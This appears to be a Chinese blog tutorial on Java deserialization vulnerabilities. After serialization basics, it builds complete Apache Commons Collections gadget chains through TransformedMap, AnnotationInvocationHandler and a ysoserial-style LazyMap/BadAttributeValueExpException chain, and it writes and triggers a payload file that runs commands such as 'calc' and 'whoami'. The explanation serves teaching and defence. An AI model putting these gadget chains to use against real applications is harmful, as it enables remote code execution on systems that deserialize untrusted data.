JAVA反序列化漏洞原理分析

反序列化漏洞原理分析


从序列化和反序列化说起

什么是序列化和反序列化?
简单来讲,序列化就是把对象转换为字节序列(即可以存储或传输的形式)的过程,而反序列化则是他的逆操作,即把一个字节序列还原为对象的过程。

这两个操作一般用于对象的保存和网络传输对象的字节序列等场景。
举个例子:在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。抑或是在高并发的环境下将一些对象序列化后保存,等到需要时调出,可减轻服务器的压力


Java中的序列化和反序列化

在Java语言中,实现序列化与反序列化的类:

位置: Java.io.ObjectOutputStream   java.io.ObjectInputStream
序列化:  ObjectOutputStream类 --> writeObject()
注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中,按Java的标准约定是给文件一个.ser扩展名

反序列化: ObjectInputStream类 --> readObject()
注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

贴个代码实现一下原理:

import java.io.*;

public class ReflectionPlay implements Serializable {
    private void exec() throws Exception {
        String s = "hello";
        byte[] ObjectBytes=serialize(s);
        String after = (String) deserialize(ObjectBytes);
        System.out.println(after);
    }

    /*
     * 序列化对象到byte数组
     * */
    private byte[] serialize(final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    /*
     * 从byte数组中反序列化对象
     * */
    private Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }
    public static void main(String[] args) throws Exception {
        new ReflectionPlay().exec();
    }
}

从运行结果可以看到,我们将String类型的对象序列化后又进行了反序列化,得到的还是原来的对象:
请添加图片描述

简单分析一下这个过程:
先通过输入流创建一个文件,再调用ObjectOutputStream类的 writeObject方法把序列化的数据写入该文件;然后调用ObjectInputStream类的readObject方法反序列化数据并打印数据内容。

几点注意事项:

  1. 实现Serializable和Externalizable接口的类的对象才能被序列化。
  2. Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式 。

整理一下序列化和反序列化的流程:
对象序列化包括如下步骤:

1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
2) 通过对象输出流的writeObject()方法写对象。

对象反序列化的步骤如下:

1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
2) 通过对象输入流的readObject()方法读取对象。

漏洞成因

简单来说,如果反序列化方法执行的是我们特殊构造的字节序列,那么反序列化漏洞就发生了。

如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

漏洞分析

从Apache Commons Collections说起

好了,现在大方向我们已经知道了,但是为什么要从CommonsCollections说起呢?

原因是在大型Java项目开发的过程中,会用到大量的序列化/反序列化以及大量的拓展数据结构以及工具集。而CommonsCollections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。

Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set,list,queue等等,它们是集合类型。换一种理解方式,collection是set,list,queue的抽象。Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set,list,queue等等,它们是集合类型。换一种理解方式,collection是set,list,queue的抽象。

作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。

反射机制

Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。

Java的反射机制:
在运行状态中:
      对于任意一个类,都能够判断一个对象所属的类;
      对于任意一个类,都能够知道这个类的所有属性和方法;
      对于任意一个对象,都能够调用它的任意一个方法和属性;
这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。


POC构造思路

根据上面的解释与定义,我们可以得到一个大致的思路

构造一个对象 -> 将其序列化 —> 提交数据到能反序列化的方法

想实现上面的思路,我们就得解决三个问题:

  1. 什么样对象符合条件?
  2. 如何执行命令?
  3. 怎样让它在被反序列化的时候执行命令?
如何执行命令

首先,我们可以知道,要想在java中调用外部命令,可以使用这个函数Runtime.getRuntime().exec(),然而,我们现在需要先找到一个对象,可以存储并在特定情况下执行我们的命令。

Map类 --> TransformedMap

Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。

至于会进行怎样的操作或变换,这是由我们提前设定的,这个叫做transform。等会我们就来了解一下transform。

一般我们通过通过*TransformedMap.decorate()*方法获得一个TransformedMap的实例
在这里插入图片描述
该方法用于将Map数据结构转化为transformedMap,该方法接收三个参数:

map:待转换的参数对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法

Transformer接口
作用:接口于Transformer的类都具备把一个对象转化为另一个对象的功能
源码如下
在这里插入图片描述

后续的利用我们会用到几个实现了Transformer的类

ConstantTransformer
把一个对象转化为常量,并返回。

public class ConstantTransformer implements Transformer, Serializable{
	static final long serialVersionUID = 6374440726369055124L;
	public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);
	private final Object iConstant;

	public static Transformer getInstance(Object constantToReturn){
    	if (constantToReturn == null) {
      		return NULL_INSTANCE;
    	}
    	return new ConstantTransformer(constantToReturn);
  	}

  	public ConstantTransformer(Object constantToReturn){
    	this.iConstant = constantToReturn;
  	}

  	public Object transform(Object input){
    	return this.iConstant;
  	}

  	public Object getConstant(){
    	return this.iConstant;
  	}
}

InvokerTransformer
通过反射,返回一个对象

...
 /*
     Input参数为要进行反射的对象,
     iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
     iArgs为对应方法的参数
     在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
  */
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
  {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
  }

public Object transform(Object input)
  {
    if (input == null) {
      return null;
    }
    try
    {
      Class cls = input.getClass();
      //根据传入的方法名和方法类型获取执行的方法
      Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
      //反射的方式,通过对象执行该方法,其中iArgs为传入的参数
      return method.invoke(input, this.iArgs);
    }
    catch (NoSuchMethodException ex)
    {
      throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
    }
    catch (IllegalAccessException ex)
    {
      throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    }
    catch (InvocationTargetException ex)
    {
      throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
  }

ChainedTransformer
ChainedTransformer为链式的Transformer,可以用来挨个执行我们定义Transformer

public ChainedTransformer(Transformer[] transformers){
	this.iTransformers = transformers;
}

public Object transform(Object object){
    for (int i = 0; i < this.iTransformers.length; i++) {
      	object = this.iTransformers[i].transform(object);
    }
    return object;
  }

我们可以先用ConstantTransformer()获取Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令""。依次调用关系为: Runtime --> getRuntime --> exec()

因此,我们要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)因此,我们要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。
正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)

下面分析一个实现该逻辑的代码

public class InvokeTest {
    public static void main(String[] args){
        //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
        //此处声明了四个继承自Transformer的类对象存入对象数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap
        //提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。
        Transformer transformedChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("1", "zhang");

        /*TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
        第一个参数为待转化的Map对象
        第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
        第三个参数为Map对象内的value要经过的转化方法*/
        Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);

        //触发Map中的MapEntry产生修改
		//原因是TransformedMap中的checkSetValue调用了transforms方法,而Map.Entry的setValue恰好触发了checkSetValue,执行了transforms,利用链启动
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

        onlyElement.setValue("foobar");

    /*
	   代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数:
       首先通过ConstantTransformer获得Runtime类
       进一步通过反射调用getMethod找到invoke函数
       最后再运行命令calc.exe。
    */
    }
}

整理一下思路:

构造一个Map和一个能够执行代码的ChainedTransformer,
生成一个TransformedMap实例
利用MapEntry的setValue()函数对TransformedMap中的键值进行修改,从而触发checkSetValue方法,执行到transform方法。
触发我们构造的之前构造的链式Transforme(即ChainedTransformer)进行自动转换
如何在readObject的时候就执行命令

根据我们之前构造的思路,需要依赖于Map中某一项去调用setValue()才能触发命令执行。 怎样才能在调用readObject()方法时直接触发执行呢?

进一步思考
我们知道,如果一个类的方法被重写,那么在调用这个函数时,会优先调用经过修改的方法。因此,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,且这个Map变量是可控的,我么就可以实现攻击目标

(这里有多种利用方法,我们挑选几个典型的)

AnnotationInvocationHandler类

这个类有一个成员变量memberValues是Map类型
更棒的是,AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数对value值进行一些变换。

(该类位置在sun.reflect.annotation.AnnotationInvocationHandler, jdk8u中AnnotationInvocationHandler类删除了memberValue.setValue(),所以不能用AnnotationInvocationHandler + TransformedMap来构造反射链。)

使用AnnotationInvocationHandler的构造思路:

1)首先构造一个Map和一个能够执行代码的ChainedTransformer,
2)生成一个TransformedMap实例
3)实例化AnnotationInvocationHandler,并对其进行序列化,
4)当触发readObject()反序列化的时候,就能实现命令执行。

接下来根据代码看一下实现思路:

import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


public class CompleteAnnotationInvocationHandlerTest{
    public static void main(String[] args) throws Exception {
        //execArgs: 待执行的命令数组
        //String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };

        //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                /*
                由于Method类的invoke(Object obj,Object args[])方法的定义
                所以在反射内写new Class[] {Object.class, Object[].class }
                正常POC流程举例:
                ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
                */
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[] {Object.class,Object[].class },
                        new Object[] {null, null }
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String[].class },
                        new Object[] { "whoami" }
                        //new Object[] { execArgs }
                )
        };

        //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
        Transformer transformedChain = new ChainedTransformer(transformers);

        //BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
        Map<String,String> BeforeTransformerMap = new HashMap<String,String>();

        BeforeTransformerMap.put("hello", "hello");

        //Map数据结构,转换后的Map
       /*
       TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
            第一个参数为待转化的Map对象
            第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
            第三个参数为Map对象内的value要经过的转化方法。
       */
        //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
        Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //获取AnnotationInvocationHandler的带参数为Map数据类型的构造函数
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //为true可调用私有构造函数
        ctor.setAccessible(true);
        //获取一个对象实例
        Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

        //序列化对象写入文件
        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
    }
}

/*
思路:构建BeforeTransformerMap的键值对,为其赋值,
     利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme
     对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行

     执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
     利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()
*/

LazyMap类的利用链
之前也提到了,AnnotationInvocationHandler由于jdk版本的原因,可能会出现触发不成功等原因,于是第二种方法我们配合LazyMap触发。另,LazyMap触发的方式更稳定,且一些序列化工具如ysoserial也是用的LazyMap的利用链。

我们看看LazyMap的代码,发现LazyMap类的get方法中调用了transform方法!!
在这里插入图片描述

这样的话,我们就只需要找到readObject时能触发LazyMap中的get方法的类即可。

于是根据这个原理,我们找到了TiedMapEntry类(调用类不唯一,这里只是列举其中一个),在TiedMapEntry初始化时,会对Map进行初始化,这时候会调用到LazyMap的get方法。
在这里插入图片描述
在这里插入图片描述

根据这个原理,我们就能定制属于自己的恶意对象了。

下面根据ysoserial的commons-collection5的恶意对象构造方法,总体的看下构造的过程

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import rewrite.TiedMapEntry;
import rewrite.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CompleteLazyMapTest {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
                new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}),
                new ConstantTransformer("1")
        };
        Transformer transformChain = new ChainedTransformer(transformers);
        //到此处为止,为生成执行链的操作

        //decorate实例化LazyMap类。
        // LazyMap類的get方法調用了transform,transform可以通過反射机制执行命令
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformChain);

        //TiedMapEntry中调用了toString方法->调用了map的get方法
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");

        //BadAttributeValueExpException的构造方法调用toString方法
        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);

        //val是私有变量,所以利用下面方法进行赋值,val变量赋值为TiedMapEntry的实例化对象,
        //重写了BadAttributeValueExpException的readObject方法的val变量赋值为BadAttributeValueExpException类,
        //就会调用BadAttributeValueExpException的val = valObj.toString();触发上面的
        Field valField = exception.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(exception, entry);

        //序列化生成payload
        File f = new File("payload2.ser");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(exception);
        out.flush();
        out.close();
        System.out.println("生成payload 位于payload2.ser");

        //模拟反序列化  触发漏洞
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("payload2.ser"));
        in.readObject();  // 触发漏洞
        in.close();
        System.out.println("反序列化payload2.ser 触发漏洞");

    }
}

在这里插入图片描述

  • 4
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1A_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值